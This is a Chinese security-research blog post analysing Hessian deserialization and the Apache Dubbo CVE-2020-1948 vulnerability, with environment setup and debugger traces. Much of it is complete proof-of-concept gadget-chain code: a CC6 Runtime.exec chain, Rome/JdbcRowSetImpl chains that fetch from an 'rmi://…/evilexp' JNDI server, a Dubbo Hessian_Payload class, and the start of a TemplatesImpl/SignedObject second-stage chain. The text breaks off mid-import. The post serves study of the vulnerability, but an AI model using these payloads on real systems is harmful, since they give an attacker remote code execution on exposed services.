Hessian反序列化 Hessian是一种轻量级的二进制RPC协议,旨在在不同计算机和编程语言之间高效地传输数据。它支持Java及多种其他语言,提供简单的API来实现远程调用和自动序列化,降低了开发复杂度。
由于其二进制格式,Hessian能显著减少数据量,提高网络传输效率,适用于微服务架构、跨语言服务通信以及对性能要求较高的应用场景。
RPC RPC(Remote Procedure Call Protocol,远程过程调用)可以简单理解为一种让计算机程序能够“远程调用”其他计算机上的功能的方法。
什么是RPC :想象你在家里用语音助手(比如Alexa或Siri)来控制其他家里的设备,比如打开灯或调节温度。RPC就像是在不同的计算机或服务器之间发出这样的命令,让它们能“听懂”你的请求并执行。
为什么需要RPC :在网络上,不同的计算机用不同的语言和系统。RPC允许这些不同的计算机通过一种标准的格式来沟通,方便它们互相调用服务或功能。
如何工作 :
发起请求 :当你想要调用某个功能时,客户端(你的电脑或应用程序)会准备好一个请求,告诉服务器你想做什么。
转换格式并发送 :这个请求会被转换成一种大家都能理解的“语言”,然后通过网络发给服务器。
服务器处理请求 :服务器收到这个请求后,解析并执行你所请求的操作,比如查询数据库或计算某个值。
返回结果 :处理完成后,服务器会把结果再次转换成标准格式,发送回客户端。
简化沟通 :通过RPC,就像你给朋友发信息请求做某件事情一样,程序之间也可以方便地交流,互相调用功能,而不需要知道对方的内部实现细节。
RMI是RPC的一个具体实现 :
RMI是Java语言中特有的一个实现RPC的技术。它允许Java程序调用远程Java对象的方法,类似于调用本地对象的方法。
RMI是Java生态系统内的一种专门的RPC,它利用Java的对象序列化机制来传输对象数据,并确保类型安全。
Hessian演示实例 导入依赖 1 2 3 4 5 <dependency > <groupId > com.caucho</groupId > <artifactId > hessian</artifactId > <version > 4.0.63</version > </dependency >
实例代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 package cmisl.Demo;import java.io.Serializable;public class User implements Serializable { private String name; private int age; public User (String name, int age) { this .name = name; this .age = age; } public String getName () { return name; } public void setName (String name) { this .name = name; } public int getAge () { return age; } public void setAge (int age) { this .age = age; } @Override public String toString () { return "User{name='" + name + "', age=" + age + "}" ; } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 package cmisl.Demo;import com.caucho.hessian.io.HessianInput;import com.caucho.hessian.io.HessianOutput;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException;public class HessianExample { public static void main (String[] args) throws IOException { User user = new User ("cmisl" , 18 ); byte [] serializedData = serialize(user); User deserializedUser = (User) deserialize(serializedData); System.out.println(deserializedUser.toString()); } private static byte [] serialize(Object o) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream (); HessianOutput ho = new HessianOutput (baos); ho.writeObject(o); System.out.println(baos.toString()); return baos.toByteArray(); } private static Object deserialize (byte [] data) throws IOException { ByteArrayInputStream bais = new ByteArrayInputStream (data); HessianInput hi = new HessianInput (bais); return hi.readObject(); } }
输出结果
Hessian反序列化流程分析 从反序列化入口开始调试,通过HessianInput#readObject
方法进入SerializerFactory#readMap
方法,首先会去通过SerializerFactory#getDeserializer
方法来获取我们要反序列化类的反序列化器。
1 2 3 4 5 6 7 8 9 10 11 public Object readMap (AbstractHessianInput in, String type) throws HessianProtocolException, IOException { Deserializer deserializer = this .getDeserializer(type); if (deserializer != null ) { return deserializer.readMap(in); } else if (this ._hashMapDeserializer != null ) { return this ._hashMapDeserializer.readMap(in); } else { this ._hashMapDeserializer = new MapDeserializer (HashMap.class); return this ._hashMapDeserializer.readMap(in); } }
在获取反序列化器的过程中,会在SerializerFactory#getDeserializer
方法中查找缓存,如果cachedDeserializerMap
中没有目标类的反序列化器,才会去加载到目标类的反序列化器,然后把目标类的Class对象和得到的反序列化器作为键值对,put进cachedDeserializerMap
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public Deserializer getDeserializer (Class cl) throws HessianProtocolException { Deserializer deserializer; if (this ._cachedDeserializerMap != null ) { deserializer = (Deserializer)this ._cachedDeserializerMap.get(cl); if (deserializer != null ) { return deserializer; } } deserializer = this .loadDeserializer(cl); if (this ._cachedDeserializerMap == null ) { this ._cachedDeserializerMap = new ConcurrentHashMap (8 ); } this ._cachedDeserializerMap.put(cl, deserializer); return deserializer; }
然后回到调用SerializerFactory#getDeserializer
的方法里面,两者为同构方法,因此方法名相同。会进行类似的操作,把目标类的类名和反序列化器put进cachedTypeDeserializerMap
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public Deserializer getDeserializer (String type) throws HessianProtocolException { ...... Class cl = this .loadSerializedClass(type); deserializer = this .getDeserializer(cl); if (deserializer != null ) { if (this ._cachedTypeDeserializerMap == null ) { this ._cachedTypeDeserializerMap = new HashMap (8 ); } synchronized (this ._cachedTypeDeserializerMap) { this ._cachedTypeDeserializerMap.put(type, deserializer); } } return (Deserializer)deserializer; ...... }
然后回到SerializerFactory#readMap
方法中,接着进入UnsafeDeserializer#readMap
方法,这个方法中,会去获取目标类的字段,方式是获得字段的反序列化器然后反序列化,那么获得字段的反序列化器这个过程,是调用this._fieldMap.get(resolve)
来获取,其中_fieldMap
是一个HashMap类型的对象,那么就会进入HashMap#get
方法,然后就会进入key的HashCode方法。
当然,上面这种一般key都是String类型的属性名。如何调用其他类的HashCode方法呢。
其实当我们序列化的类是一个HashMap属性的话,我们在SerializerFactory#readMap
方法中,就无法通过SerializerFactory#getDeserializer
方法来获取我们要反序列化类的反序列化器。而是直接new了一个MapDeserializer
,目标类作为参数,从而得到反序列化器,然后通过MapDeserializer#readMap
方法来获得类。
MapDeserializer#readMap
方法中,我们会先判断 _type
是否为空,如果为空或者等于 Map.class
,创建一个 HashMap
实例,如果 _type
是SortedMap
类型,创建一个 TreeMap
实例。否则使用反射机制通过 _ctor
创建实例,这里的ctor
是反序列化器初始化时,传入参数反射得到的构造方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 public Object readMap (AbstractHessianInput in) throws IOException { Object map; if (this ._type == null ) { map = new HashMap (); } else if (this ._type.equals(Map.class)) { map = new HashMap (); } else if (this ._type.equals(SortedMap.class)) { map = new TreeMap (); } else { try { map = (Map)this ._ctor.newInstance(); } catch (Exception var4) { throw new IOExceptionWrapper (var4); } } in.addRef(map); while (!in.isEnd()) { ((Map)map).put(in.readObject(), in.readObject()); } in.readEnd(); return map; }
然后我们会从序列化数据流依次反序列化出我们的键值对,然后put进我们的map中,然后返回map。那么,在put的过程中,我们会调用键的HashCode方法,也就是说。我们可以通过控制键来调用到任意HashCode方法,而非仅限String类。接着我们找一个HashCode作为入口的反序列化链即可,比如Rome链。
能否接CC6链 结论是不能,那么为是什么可以走到cc6链的入口,HashCode方法,却不能用CC6链呢?
问题出现在LazyMap上,我们将cc6链中的LazyMap拿出来单独序列化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 package cmisl.Demo;import com.caucho.hessian.io.HessianInput;import com.caucho.hessian.io.HessianOutput;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.util.HashMap;import java.util.Map;public class cc6test { public static void main (String[] args) throws IOException, NoSuchFieldException, IllegalAccessException { Transformer[] transformers = { new ConstantTransformer (Runtime.class), new InvokerTransformer ( "getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null } ), new InvokerTransformer ( "invoke" , new Class []{Object.class, Object[].class}, new Object []{Runtime.class, null } ), new InvokerTransformer ( "exec" , new Class []{String.class}, new Object []{"calc" } ) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> hashMap = new HashMap <>(); Map test = new HashMap (); Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer); byte [] serializedData = serialize(decorateMap); Object o = deserialize(serializedData); System.out.println(o); } private static byte [] serialize(Object o) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream (); HessianOutput ho = new HessianOutput (baos); ho.writeObject(o); System.out.println(baos.toString()); return baos.toByteArray(); } private static Object deserialize (byte [] data) throws IOException { ByteArrayInputStream bais = new ByteArrayInputStream (data); HessianInput hi = new HessianInput (bais); return hi.readObject(); } }
我们在获取LazyMap类的反序列化器的时候,获取的是
到了MapDeserializer#readMap
方法,由于MapDeserializer这个反序列化器,在初始化这个反序列化器的时候,由于LazyMap没有无参构造函数,所以ctor属性最后赋值是HashMap的构造函数。
到了后面用这个反序列化器开始反序列化的时候,使用的反序列化器的ctor属性反射构造对象的,由于刚刚提到的,ctor是一个HashMap的构造函数,所以获取的是HashMap类。
如果我的Map类有无参构造函数,那么反序列化出来的就会是该Map类,而不是HashMap了。记得实现Serializable接口。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 package cmisl.Demo;import java.io.Serializable;import java.util.*;public class TestMap implements Map , Serializable { private Map internalMap; public TestMap () { this .internalMap = new HashMap (); } @Override public int size () { return internalMap.size(); } @Override public boolean isEmpty () { return internalMap.isEmpty(); } @Override public boolean containsKey (Object key) { return internalMap.containsKey(key); } @Override public boolean containsValue (Object value) { return internalMap.containsValue(value); } @Override public Object get (Object key) { return internalMap.get(key); } @Override public Object put (Object key, Object value) { return internalMap.put(key, value); } @Override public Object remove (Object key) { return internalMap.remove(key); } @Override public void putAll (Map m) { internalMap.putAll(m); } @Override public void clear () { internalMap.clear(); } @Override public Set keySet () { return internalMap.keySet(); } @Override public Collection values () { return internalMap.values(); } @Override public Set<Entry> entrySet () { return internalMap.entrySet(); } }
Hessian反序列化+Rome链 下面给出两个版本的依赖以及对应的POC
依赖 1 2 3 4 5 6 7 8 9 10 11 12 <dependencies> <dependency> <groupId>com.caucho</groupId> <artifactId>hessian</artifactId> <version>4.0 .63 </version> </dependency> <dependency> <groupId>rome</groupId> <artifactId>rome</artifactId> <version>1.0 </version> </dependency> </dependencies>
POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 import com.caucho.hessian.io.HessianInput;import com.caucho.hessian.io.HessianOutput;import com.sun.rowset.JdbcRowSetImpl;import com.sun.syndication.feed.impl.EqualsBean;import com.sun.syndication.feed.impl.ObjectBean;import com.sun.syndication.feed.impl.ToStringBean;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.Serializable;import java.lang.reflect.Field;import java.util.HashMap;public class Hessian_JNDI implements Serializable { public static void main (String[] args) throws Exception { JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl (); jdbcRowSet.setDataSourceName("rmi://127.0.0.1:1099/evilexp" ); ToStringBean toStringBean = new ToStringBean (jdbcRowSet.getClass(), jdbcRowSet); ObjectBean objectBean = new ObjectBean (String.class,"cmisl" ); HashMap hashMap = new HashMap (); hashMap.put(objectBean,"cmisl" ); Field equalsBean = objectBean.getClass().getDeclaredField("_equalsBean" ); equalsBean.setAccessible(true ); equalsBean.set(objectBean,new EqualsBean (toStringBean.getClass(),toStringBean)); byte [] s = serialize(hashMap); System.out.println(s); System.out.println((HashMap)deserialize(s)); } public static byte [] serialize(Object o) throws IOException { ByteArrayOutputStream bao = new ByteArrayOutputStream (); HessianOutput output = new HessianOutput (bao); output.writeObject(o); System.out.println(bao.toString()); return bao.toByteArray(); } public static Object deserialize (byte [] bytes) throws IOException { ByteArrayInputStream bai = new ByteArrayInputStream (bytes); HessianInput input = new HessianInput (bai); Object o = input.readObject(); return o; } }
依赖 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <dependencies> <dependency> <groupId>org.apache.dubbo</groupId> <artifactId>dubbo</artifactId> <version>2.7 .6 </version> </dependency> <dependency> <groupId>com.caucho</groupId> <artifactId>hessian</artifactId> <version>4.0 .63 </version> </dependency> <dependency> <groupId>com.rometools</groupId> <artifactId>rome</artifactId> <version>1.7 .0 </version> <scope>compile</scope> </dependency> <dependency> <groupId>org.slf4j</groupId> <artifactId>slf4j-simple</artifactId> <version>1.7 .25 </version> <scope>compile</scope> </dependency> </dependencies>
POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 import com.caucho.hessian.io.HessianInput;import com.caucho.hessian.io.HessianOutput;import com.rometools.rome.feed.impl.EqualsBean;import com.rometools.rome.feed.impl.ToStringBean;import com.sun.rowset.JdbcRowSetImpl;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.Serializable;import java.lang.reflect.Array;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.HashMap;public class Hessian_JNDI_rometool { public static void main (String[] args) throws Exception { JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl (); String url = "rmi://localhost:1099/evilexp" ; jdbcRowSet.setDataSourceName(url); ToStringBean toStringBean = new ToStringBean (JdbcRowSetImpl.class, jdbcRowSet); EqualsBean equalsBean = new EqualsBean (ToStringBean.class, toStringBean); HashMap<Object, Object> hashMap = new HashMap <>(); Field field = hashMap.getClass().getDeclaredField("size" ); field.setAccessible(true ); field.set(hashMap, 2 ); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node" ); } catch (ClassNotFoundException e) { nodeC = Class.forName("java.util.HashMap$Entry" ); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int .class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true ); Object tbl = Array.newInstance(nodeC, 2 ); Array.set(tbl, 0 , nodeCons.newInstance(0 , equalsBean, equalsBean, null )); Array.set(tbl, 1 , nodeCons.newInstance(0 , "1" , "1" , null )); Field field2 = hashMap.getClass().getDeclaredField("table" ); field2.setAccessible(true ); field2.set(hashMap, tbl); byte [] s = serialize(hashMap); System.out.println(s); System.out.println(deserialize(s)); } public static byte [] serialize(Object o) throws IOException { ByteArrayOutputStream bao = new ByteArrayOutputStream (); HessianOutput output = new HessianOutput (bao); output.writeObject(o); System.out.println(bao.toString()); return bao.toByteArray(); } public static Object deserialize (byte [] bytes) throws IOException { ByteArrayInputStream bai = new ByteArrayInputStream (bytes); HessianInput input = new HessianInput (bai); Object o = input.readObject(); return o; } }
Apache Dubbo Apache Dubbo 是一个高性能的 Java RPC (Remote Procedure Call) 框架,旨在提供高效、可扩展和易用的服务治理解决方案。Dubbo 支持多种协议和序列化方式,可以与 Spring 框架无缝集成,并且具备强大的服务治理能力,如服务注册与发现、负载均衡、容错机制等。
支持协议 ![DubboSupported protocol](./images/DubboSupported protocol.png)
工作流程 以下是Apache官方提供的Apache Dubbo框架的工作流程图
这张图展示了Dubbo架构的主要组件和工作流程。Dubbo是一个高性能的Java RPC框架,通常用于微服务架构中。图中的各个部分可以解释如下:
Registry(注册中心) :用于服务注册和发现。服务提供者在启动时会注册到注册中心,而消费者则会订阅服务。
Consumer(消费端) :代表请求服务的客户端。在图中,消费端通过注册中心订阅服务并接收通知。
Provider(提供端) :提供实际服务的组件。它在启动时向注册中心注册。
Container(容器) :用于运行提供者的环境,可能是Web容器或其他类型的运行环境。
Monitor(监控) :用于监控服务的调用情况和性能指标。
工作流程:
步骤0 :启动服务。
步骤1 :提供者(Provider)向注册中心(Registry)注册。
步骤2 :消费者(Consumer)向注册中心(Registry)订阅服务。
步骤3 :注册中心(Registry)通知消费者(Consumer)可用的服务。
步骤4 :消费者(Consumer)调用提供者(Provider)的服务。
步骤5 :监控系统(Monitor)收集服务调用的统计数据。
整体上,这张图展示了Dubbo中各个角色之间的交互及其工作流程。
Dubbo环境搭建 zookeeper作为Dubbo框架的Registry,下载zookeeper
记得下载带bin的,是编译好的包
配置:
conf目录下提供了配置的样例zoo_sample.cfg,要将zk运行起来,需要将其名称修改为zoo.cfg。(记得提前创建下data和Log的文件夹)
1 2 dataDir =D:\env\apache-zookeeper-3 .9 .2 -bin\conf\datadataLogDir =D:\env\apache-zookeeper-3 .9 .2 -bin\conf\log
双击bin目录下zkServer.cmd即可启动Zookeeper
Dubbo项目 建议一个Dubbo项目,参考Java安全学习——Hessian反序列化漏洞 - 枫のBlog (goodapple.top)
Dubbo-api 新建一个maven项目
1 2 3 4 5 package com.api;public interface IHello { String IHello (String name) ; }
Dubbo-provider 新建一个springboot项目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 package cmisl.dubboprovider.service;import com.api.IHello;import org.apache.dubbo.config.annotation.Service;@Service public class HelloService implements IHello { @Override public String IHello (String name) { return "Hello " +name; } }
pom依赖
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <dependencies> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-test</artifactId> <scope>test</scope> </dependency> <dependency> <groupId>org.apache.dubbo</groupId> <artifactId>dubbo-spring-boot-starter</artifactId> <version>2.7 .6 </version> </dependency> <dependency> <groupId>org.apache.dubbo</groupId> <artifactId>dubbo-dependencies-zookeeper</artifactId> <version>2.7 .6 </version> <type>pom</type> <exclusions> <exclusion> <artifactId>slf4j-log4j12</artifactId> <groupId>org.slf4j</groupId> </exclusion> </exclusions> </dependency> <dependency> <groupId>cmisl</groupId> <artifactId>dubbo-api</artifactId> <version>1.0 -SNAPSHOT</version> </dependency> <dependency> <groupId>com.rometools</groupId> <artifactId>rome</artifactId> <version>1.7 .0 </version> </dependency> </dependencies>
配置文件application.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 server: port: 9990 spring: application: name: dubbo-provider dubbo: application: name: dubbo-provider scan: base-packages: cmisl.dubboprovider.service registry: address: zookeeper://127.0.0.1:2181 protocol: name: dubbo port: 20000
Dubbo-consumer 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 package cmisl.dubboconsumer.consumer;import com.api.IHello;import org.apache.dubbo.config.annotation.Reference;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.RestController;@RestController public class HelloConsumer { @Reference private IHello iHello; @RequestMapping("/hello") public String hello (@RequestParam(name = "name") String name) { String h = iHello.IHello(name); System.out.println("调用Provider" ); return h; } }
pom依赖
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <dependencies> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-test</artifactId> <scope>test</scope> </dependency> <dependency> <groupId>org.apache.dubbo</groupId> <artifactId>dubbo-spring-boot-starter</artifactId> <version>2.7 .6 </version> </dependency> <dependency> <groupId>org.apache.dubbo</groupId> <artifactId>dubbo-dependencies-zookeeper</artifactId> <version>2.7 .6 </version> <type>pom</type> <exclusions> <exclusion> <artifactId>slf4j-log4j12</artifactId> <groupId>org.slf4j</groupId> </exclusion> </exclusions> </dependency> <dependency> <groupId>cmisl</groupId> <artifactId>dubbo-api</artifactId> <version>1.0 -SNAPSHOT</version> </dependency> <dependency> <groupId>com.rometools</groupId> <artifactId>rome</artifactId> <version>1.7 .0 </version> </dependency> </dependencies>
配置文件application.yml
1 2 3 4 5 6 7 8 9 10 11 12 server: port: 9991 spring: application: name: dubbo-consumer dubbo: application: name: dubbo-consumer registry: address: zookeeper://127.0.0.1:2181
访问http://127.0.0.1:9991/hello?name=Feng
,Consumer就会调用远程方法IHello()
了
CVE-2020-1948 :Apache Dubbo Hessian反序列化漏洞 Apache Dubbo 是一个高度可扩展的 RPC 框架,支持多种通信协议和序列化方式,以满足不同应用场景的需求。以下是 Apache Dubbo 主要支持的协议及其关系的概述:
影响范围
pache Dubbo 2.7.0 ~ 2.7.6
Apache Dubbo 2.6.0 ~ 2.6.7
Apache Dubbo 2.5.x 所有版本 (官方不再提供支持)。
在实际测试中2.7.8补丁绕过可以打,而2.7.9失败
漏洞环境搭建 在dubbo-api添加一个接口IObject,相应的provider也要重写
IHello.java
1 2 3 4 5 6 package com.api;public interface IHello { String IHello (String name) ; Object IObject (Object o) ; }
HelloService.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package cmisl.dubboprovider.service; import com.api.IHello;import org.apache.dubbo.config.annotation.Service; @Service public class HelloService implements IHello { @Override public String IHello (String name) { return "Hello " +name; } @Override public Object IObject (Object o) { return o; } }
在HelloConsumer.java
中添加一个调用远程IObject()
方法的路由
1 2 3 4 5 @RequestMapping("/ser") public void Hessian_Ser () throws Exception { Object o = Hessian_Payload.getPayload(); Object b = iHello.IObject(o); }
那么我们需要一个Hessian_Payload.getPayload()
方法,即返回构造的恶意类。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 package cmisl.dubboconsumer.consumer;import com.rometools.rome.feed.impl.EqualsBean;import com.rometools.rome.feed.impl.ToStringBean;import com.sun.rowset.JdbcRowSetImpl;import java.lang.reflect.Array;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.sql.SQLException;import java.util.HashMap;public class Hessian_Payload { public static Object getPayload () throws SQLException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException { JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl (); String url = "rmi://localhost:1099/evilexp" ; jdbcRowSet.setDataSourceName(url); ToStringBean toStringBean = new ToStringBean (JdbcRowSetImpl.class, jdbcRowSet); EqualsBean equalsBean = new EqualsBean (ToStringBean.class, toStringBean); HashMap<Object, Object> hashMap = new HashMap <>(); Field size = hashMap.getClass().getDeclaredField("size" ); size.setAccessible(true ); size.set(hashMap, 1 ); Class nodec; try { nodec = Class.forName("java.util.HashMap$Node" ); } catch (ClassNotFoundException e) { nodec = Class.forName("java.util.HashMap$Entry" ); } Constructor nodeCons = nodec.getDeclaredConstructor(int .class, Object.class, Object.class, nodec); nodeCons.setAccessible(true ); Object tbl = Array.newInstance(nodec, 2 ); Array.set(tbl,0 ,nodeCons.newInstance(0 ,equalsBean,equalsBean,null )); Field table = hashMap.getClass().getDeclaredField("table" ); table.setAccessible(true ); table.set(hashMap,tbl); return hashMap; } }
当我们访问http://localhost:9991/ser
,即可触发漏洞
分析 在DecodeableRpcInvocation#decode
处下断点,该函数会调用重名decode方法来处理在调用方法时的数据解码。
这段代码的主要作用是解码一个来自远程调用的请求对象。从输入流中读取并反序列化数据,提取版本信息、服务路径、方法名、参数类型和实际参数值,并处理附件数据。最后,将这些信息设置到请求对象中,并返回该对象。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 public Object decode (Channel channel, InputStream input) throws IOException { ObjectInput in = CodecSupport.getSerialization(channel.getUrl(), this .serializationType).deserialize(channel.getUrl(), input); String dubboVersion = in.readUTF(); this .request.setVersion(dubboVersion); ...... try { Object[] args = DubboCodec.EMPTY_OBJECT_ARRAY; Class<?>[] pts = DubboCodec.EMPTY_CLASS_ARRAY; if (desc.length() > 0 ) { ServiceRepository repository = ApplicationModel.getServiceRepository(); ServiceDescriptor serviceDescriptor = repository.lookupService(path); if (serviceDescriptor != null ) { MethodDescriptor methodDescriptor = serviceDescriptor.getMethod(this .getMethodName(), desc); if (methodDescriptor != null ) { pts = methodDescriptor.getParameterClasses(); this .setReturnTypes(methodDescriptor.getReturnTypes()); } } if (pts == DubboCodec.EMPTY_CLASS_ARRAY) { pts = ReflectUtils.desc2classArray(desc); } args = new Object [pts.length]; for (int i = 0 ; i < args.length; ++i) { try { args[i] = in.readObject(pts[i]); } ...... } } ...... } }
首先会根据协议不同选取对应的反序列化器。
从in.readObject(pts[i])
开始一系列调用readObject
方法。
这里的MapDeserializer#readMap方法与之前我们调试的有所不同,会调用doReadMap方法,不同在doReadMap方法里面。同样会出现相同的问题。
后面的链就和前面分析的一样了,调用key的HashCode方法然后后续就是Rome链了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 put:611 , HashMap (java.util) doReadMap:145 , MapDeserializer (com.alibaba.com.caucho.hessian.io) readMap:126 , MapDeserializer (com.alibaba.com.caucho.hessian.io) readObject:2703 , Hessian2Input (com.alibaba.com.caucho.hessian.io) readObject:2278 , Hessian2Input (com.alibaba.com.caucho.hessian.io) readObject:2080 , Hessian2Input (com.alibaba.com.caucho.hessian.io) readObject:2074 , Hessian2Input (com.alibaba.com.caucho.hessian.io) readObject:92 , Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2) decode:139 , DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo) decode:79 , DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo) decode:57 , DecodeHandler (org.apache.dubbo.remoting.transport) received:44 , DecodeHandler (org.apache.dubbo.remoting.transport) run:57 , ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher) runWorker:1142 , ThreadPoolExecutor (java.util.concurrent) run:617 , ThreadPoolExecutor$Worker (java.util.concurrent) run:745 , Thread (java.lang)
TemplatesImpl+SignedObject二次反序列化 为什么需要二次反序列化 我们的JdbcRowSetImpl
这条Rome链子需要目标出网来访问我们恶意的rmi或者ldap服务器,那么如果目标不出网该怎么办呢?可以考虑TemplatesImpl
这条rome链。但是直接用的话,存在一些问题。比如在rome中Hessian2反序列化由于TemplatesImpl
类中被transient
修饰的_tfactory
属性没有实现Serializable
接口无法被序列化,进而导致TemplatesImpl
类无法初始化。ToStringBean
而之所以原生反序列化没问题,是因为在TemplatesImpl#readObject
方法中,会给_tfactory
直接new一个对象。
构造二次反序列化 有这么一个类SignedObject
,可以在构造函数把传入的对象序列化,然后将数据保存在content
属性中,并且可以通过getObject方法从content
属性中反序列化出这个对象。可以看到这也是个getter方法。如果我们在Hessian2反序列化的时候调用这个方法,就可以再次进行反序列化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 public SignedObject (Serializable object, PrivateKey signingKey, Signature signingEngine) throws IOException, InvalidKeyException, SignatureException { ByteArrayOutputStream b = new ByteArrayOutputStream (); ObjectOutput a = new ObjectOutputStream (b); a.writeObject(object); a.flush(); a.close(); this .content = b.toByteArray(); b.close(); this .sign(signingKey, signingEngine); }public Object getObject () throws IOException, ClassNotFoundException { ByteArrayInputStream b = new ByteArrayInputStream (this .content); ObjectInput a = new ObjectInputStream (b); Object obj = a.readObject(); b.close(); a.close(); return obj; }
那么第二次的反序列化我们就需要找到一个原生反序列化能调用toString
方法的类。这个类在学习rome链扩展的时候可能会学到。就是BadAttributeValueExpException
这个类,valObj为ToStringbean
,前面两个判断不会进入,System.getSecurityManager()
默认情况下是null,进入第三个判断从而走到ToStringbean#toString
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 private void readObject (ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val" , null ); if (valObj == null ) { val = null ; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } }
思路清楚了,poc就很简单了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 import com.caucho.hessian.io.HessianInput;import com.caucho.hessian.io.HessianOutput;import com.rometools.rome.feed.impl.EqualsBean;import com.rometools.rome.feed.impl.ToStringBean;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javax.management.BadAttributeValueExpException;import javax.xml.transform.Templates;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.lang.reflect.Array;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.nio.file.Files;import java.nio.file.Paths;import 